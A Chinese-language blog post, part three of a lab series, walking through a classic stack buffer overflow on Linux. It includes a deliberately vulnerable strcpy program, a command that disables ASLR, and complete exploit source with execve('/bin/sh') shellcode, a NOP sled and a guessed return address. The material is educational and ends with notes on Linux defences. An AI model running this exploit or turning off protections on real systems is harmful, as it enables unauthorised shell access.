您的位置:首页 > 运维架构 > Linux

缓冲区溢出攻击实验(三)

2015-11-19 16:30 417 查看
        在缓冲区溢出攻击实验(一)(二)分别介绍了先关知识和shellcode机器码的获得,这一篇就阐述怎么利用别人程序中的缓冲区溢出漏洞实施攻击;

三、缓冲区溢出漏洞攻击

1.一个存在缓冲区溢出漏洞的demo

        下面的一个demo程序使用了strcpy()函数,而这个函数不是安全的,其并不对参数数组的越界进行检查;而且程序接受用户输入,这就成了经典的受攻击案例(velnerable.c);

#include<stdio.h>
#include<string.h>
/*unsigned long get_sp(){
__asm__("movl %esp,%eax");
}*/
void main(int argc,char*argv[]){
char buffer[512];
if(argc>1){
strcpy(buffer,argv[1]);
printf("input buffer size:%d\n",strlen(argv[1]));
}
}

2.怎么攻击上面那个demo

       根据前面的分析,上面的demo程序是存在缓冲区溢出漏洞的,其buffer数组接受用户输入,并且没有对数据的越界做检查,这样,只需要对buffer写入越界的数据,并设计好填充栈返回单元的地址,就可以利用demo获取shell了。还有个问题,也是前面提到的问题,我们shell的机器码数据应该存放在什么地方;当然是受攻击的demo程序中,demo程序中以为可以提供给我们写入数据的就是buffer数组了。好的,那就把机器码写入到demo程序的buffer数组中去。又有一个问题了来了,写入了buffer数组,怎么才能获得我们写入机器码的地址呢?看到《smashing
the stack for fun and profit》中说,几乎所有的程序的栈起始地址都是一样的,这样就可以在我们的恶意程序中直接获得demo程序的栈起始地址了。

获取栈起始地址:sp.c

#include<stdio.h>
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}

void main(){
printf("0x%x\n",get_sp());
}
如果真是向上面说的那样,每次运行sp程序得到的结果应该是一样的,即栈的起始地址不会改变;但是,事实不是这样的,现代操作系统不会傻到让你轻易猜测到程序的栈其实地址,真要是这样岂不是便宜了攻击者!那么操作系统是做了什么来进行栈保护呢?再次盗用一张图:



原来,操作系统给程序分配栈地址空间的时候,做了一定的手脚来加大攻击的难度:在栈空间上面有一个Random stack offset区域,这个区域的大小是个随机值,这样攻击者每次得到的栈起始地址就是不一样的了,这就加大了攻击的难度。事实证明上面那段程序sp.c在每次运行的时候得到的栈起始地址也是不一样的。

       既然有了这样的机制,那么怎么办?作为一个实验性的,就不是深究怎么破开这个random stack offset问题了,我们有好的Linux操作系统为学习人员提供了一个捷径,Ubuntu下为我们提供了关闭地址空间随机化(ASLR)的方法:

/proc/sys/kernel/randomize_va_space文件控制着ASLR的开启和关闭,其有三个取值:0,1,2;0 - 表示关闭进程地址空间随机化、

1 - 表示将mmap的基址,stack和vdso页面随机化、2 - 表示在1的基础上增加栈(heap)的随机化。作为实验用:我们在root模式下修改这个文件的值为0以关闭随机化机制。echo 0>/proc/sys/kernel/randomize_va_space就完成了改变。

       修改了这个属性之后,我们就可以顺利得到demo的栈起始地址了,一般程序局部变量的数目总是有限的,那么buffer相对栈起始地址的偏移就是可猜测的。于是我们设计了下面的攻击程序:又忘记留这一步的代码了,不过这里的代码还是要经过改进的,直接贴上那篇文章的图片吧。



事实证明这么猜测buffer的地址是低效率行不通的,因为需要恰好猜对buffer的起始地址然后把它写入demo程序的返回地址处。能不能有个改进,使得不需要准确知道buffer的起始地址,只需控制写入demo返回地址在buffer数据范围即可。这样猜测buffer地址的范围要远比猜测buffer的其实地址要简单得多。从理论上分析:猜测效力变成原来的sizeof(buffer)倍。引入这种思想之后,我们就不能把获取shell程序的机器码放到buffer的起始地址处了。有个非常好的指令nop指令,其仅仅是一个空操作,这样只要返回地址指向我们的任意一个nop指令,程序总能到我们的恶意指令处。此时,攻击模型变成:



根据这个攻击模型,攻击代码变成:exploitdemo.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(){
__asm__("movl %esp,%eax");
}
void main(int argc,char*argv[]){
char*buffer,*ptr;
long*add_ptr,addr;
int offset=DEFAULT_OFFSET,bsize=DEFAULT_BUFFER_SIZE;
int i;
if(argc>1)
bsize=atoi(argv[1]);
if(argc>2)
offset=atoi(argv[2]);
if(!(buffer=malloc(bsize)))
{
printf("Can't malloc memory");
exit(0);
}
addr=get_sp()-offset;
printf("Using ret address:0x%x\n",addr);

ptr=buffer;
add_ptr=(long*)ptr;
for(i=0;i<bsize;i+=4){
*(add_ptr++)=addr;
}
for(i=0;i<bsize/2;i++){
buffer[i]=NOP;
}
ptr=buffer+((bsize/2-strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++){
*(ptr++)=shellcode[i];
}
buffer[bsize-1]='\0';
memcpy(buffer,"EGG=",4);
int a=putenv(buffer);
printf("%d\n",a);
system("/bin/sh");
}
看一下实验效果:



可以看到,这样的程序正确的获得了shell,由于exploit本身有获得shell使得记过有些混淆,下面贴一个随便输入500+大小数据的结果来论证上面攻击程序的正确性:



这样成功说明了我们攻击程序是有效的,可以通过有漏洞的demo程序获取shell。这里还作几点说明:
1、上面攻击程序中自己本事获取shell的操作不是必须的,只是为了引入环境变量,使得我们向demo程序写入溢出数据的时候简单点,不要手动输入而已;
2.关于环境变量这里没有做详细说明,但还是简单记录下我查阅到重要结果:用putenv()加入的环境变量,只是对当前自己的程序可见的,对漏洞demo程序并不具有可见性。所以我们怎么向demo程序的实施攻击的时候直接在exploit程序获得的shell下进行的,而没有退出exploit程序,也就是exploit申请的shell程序,因为退出了之后,我们设置的环境变量就不再是可见的了。当然此时可以通过手动把shellcode[]溢出数组传递给demo程序,以实施攻击。
四、对这次实验的最后几点思考
1、这里仅仅是学习缓冲区溢出的原理,现实当中真正的攻击要比这个复杂得多。
2、当漏洞程序的buffer数据长度不够大时,不足以放下我们溢出攻击的数组的机器码时怎么办;利用环境变量,使得EGG存取攻击的机器码,RET存储任意EGG中nop指令的地址即可。具体细节这里不作说明了,看图上的代码吧。





不知道是我没有理解还是啥,感觉还是有点鸡肋,我们的目的就是为了获得shell,没有获得shell前,怎么可以轻易写入环境变量呢!实验到此结束。
五、Linux操作系统对于缓冲区溢出保护策略
           缓冲区溢出攻击很早就出现了,Linux自然做了相应的保护策略,这也是一个很长的话题,这里给出一个关于这方面知识的链接:GCC编译器堆栈保护技术,后面有机会希望集合具体的漏洞示例来进行现实的中的漏洞利用。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息